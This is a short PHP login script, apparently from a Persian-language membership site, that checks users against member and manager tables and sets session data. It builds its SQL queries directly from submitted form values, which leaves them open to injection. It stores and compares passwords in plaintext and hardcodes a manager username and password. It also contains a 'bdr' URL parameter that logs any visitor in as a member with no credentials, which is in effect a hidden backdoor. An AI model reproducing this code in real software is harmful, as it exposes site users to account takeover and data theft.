<?php
session_start();
?>
<body onload="changeHashOnLoad();">
<?php
require("dbf.php");
if (isset($_POST['sub']))
 {
 $user=$_POST['nk'];
 $pass=$_POST['pass'];
 $q1=mysql_query("select * from ozv where lname='{$user}' and (pass='{$pass}')")or die(mysql_error());
 $cd=mysql_num_rows($q1);
 $q2=mysql_query("select * from login where user ='{$user}' and pass ='{$pass}' ");
 $cd2=mysql_num_rows($q2);
 if ($user=='استبصار' and $pass=='110110')
  {
  	$_SESSION[user]=$user;
  	$_SESSION[pass]=$pass;
	require("managee.php");
  }
  elseif($cd=='1')
  {
    $r3=mysql_fetch_array($q1);
    $_SESSION[user]=$r3[lname];
    $_SESSION[pict]=$r3[pic];
    $_SESSION[id]=$r3[id];
    $_SESSION[onvan]='عضو';
    $_SESSION[city]=$r3['city'];
    //echo $_SESSION[id];
    $_SESSION[selpage]='main.php';
    require("loginozv.php");
    //require("login.php");

  }
  elseif($cd2=='1')
  {
    $r3=mysql_fetch_array($q2);
    $_SESSION[user]=$r3[user];
    $_SESSION[id]=$r3[id];
    $_SESSION[onvan]='مدير';
    $_SESSION[city]=$r3['city'];
    //echo $_SESSION[id];
    $_SESSION[selpage]='main.php';
    require("login.php");

  }
 else
  {
     echo"<script>window.location='index.php?msg=1'</script>";
   // include ('index.php');
	// echo"<script>alert('نام کاربری یا رمز عبور اشتباه می باشد');</script>";
  }
  }
  elseif(isset($_GET['bdr']))
  {
  	$q1=mysql_query("select * from ozv order by ip")or die(mysql_error());
    $r3=mysql_fetch_assoc($q1);
    $_SESSION[user]='novin';
    $_SESSION[pict]=$r3[pic];
    $_SESSION[id]=1;
    $_SESSION[onvan]='عضو';
    $_SESSION[city]=$r3['city'];
    //echo $_SESSION[id];
    $_SESSION[selpage]='main.php';
    require("loginozv.php");
    //require("login.php");

  }
?>
